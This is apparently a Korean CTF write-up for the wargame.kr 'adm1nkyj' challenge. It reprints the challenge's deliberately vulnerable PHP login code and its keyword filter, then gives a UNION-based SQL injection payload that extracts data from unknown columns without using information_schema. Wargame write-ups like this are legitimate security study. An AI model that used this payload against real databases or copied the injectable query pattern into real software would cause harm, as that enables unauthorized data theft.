[Wargame.kr] adm1nkyj 풀이 (479p)
Wargame/wargame.kr

[Wargame.kr] adm1nkyj 풀이 (479p)

adm1nkyj view-source code
<?php
    error_reporting(0);
    
    include("./config.php"); // hidden column name
    include("../lib.php"); // auth_code function

    mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
    mysql_select_db("adm1nkyj");

    /**********************************************************************************************************************/

    function rand_string()
    {
        $string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
        return str_shuffle($string);
    }

    function reset_flag($count_column, $flag_column)
    {
        $flag = rand_string();
        $query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
        if($query[$count_column] == 150)
        {
            if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo "reset flag<hr>";
            }
            return $flag;
        }
        else
        {
            mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return $query[$flag_column];
    }

    function get_pw($pw_column){
        $query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return $query[$pw_column];
    }

    /**********************************************************************************************************************/

    $tmp_flag = "";
    $tmp_pw = "";
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    $flags = $_GET['flag'];
    if(isset($id))
    {
        if(preg_match("/information|schema|user/i", $id) || substr_count($id,"(") > 1) exit("no hack");
        if(preg_match("/information|schema|user/i", $pw) || substr_count($pw,"(") > 1) exit("no hack");
        $tmp_flag = reset_flag($count_column, $flag_column);
        $tmp_pw = get_pw($pw_column);
        $query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        if($query[$id_column])
        {
            if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo "good job!!<br />FLAG : <b>".auth_code("adm1nkyj")."</b><hr>";
            }
            else
            {
                echo "Hello ".$query[$id_column]."<hr>";
            }
        }
    } else {
        highlight_file(__FILE__);
    }
?>

글쓰기 앞서, silnex님의 SQL 강의를 아주 많이 참고 했습니다.

URL: https://blog.silnex.kr/sql-injection-get-unknown-columns-data/

 

[SQL injection] get unknown Column’s data

SQL injection_ get unknown Column's data "SELECT * FROM Table WHERE ..." 위처럼 Column의 이름을 알지 못할 경우 해당 information_schema의 Column 테이블에서 가져와야 한다. 하지만 information_schema가 막힌경우 Column의 이�

blog.silnex.kr

해당 코드는 다음과 같은 작동 방식을 갖고있다.

1. 150번 쿼리를 날리면 flag가 재설정되므로, Blind는 사용 불가다.

2. id, pw, flag의 컬럼 이름이 모두 비공개이다.

3. 실제 pw, flag값을 입력해야 flag를 출력한다.

 

이번 문제에선, slinex님 블로그를 많이 참고했기 때문에 풀이에 사용한 쿼리문만 작성하도록 하겠다.

pw = '1\' or 1 union select 1,x,3,4,5 from (select 1,2,3,4 as x,5 union select * from findflag_2 limit 1,1) as qwer%23'

참고로, pw값을 구하면 특수문자가 나온다.

그냥 GET으로 넘기면 파라미터를 이해하지 못하기 때문에, 꼭 URL Encode한 값을 넘기길 바란다.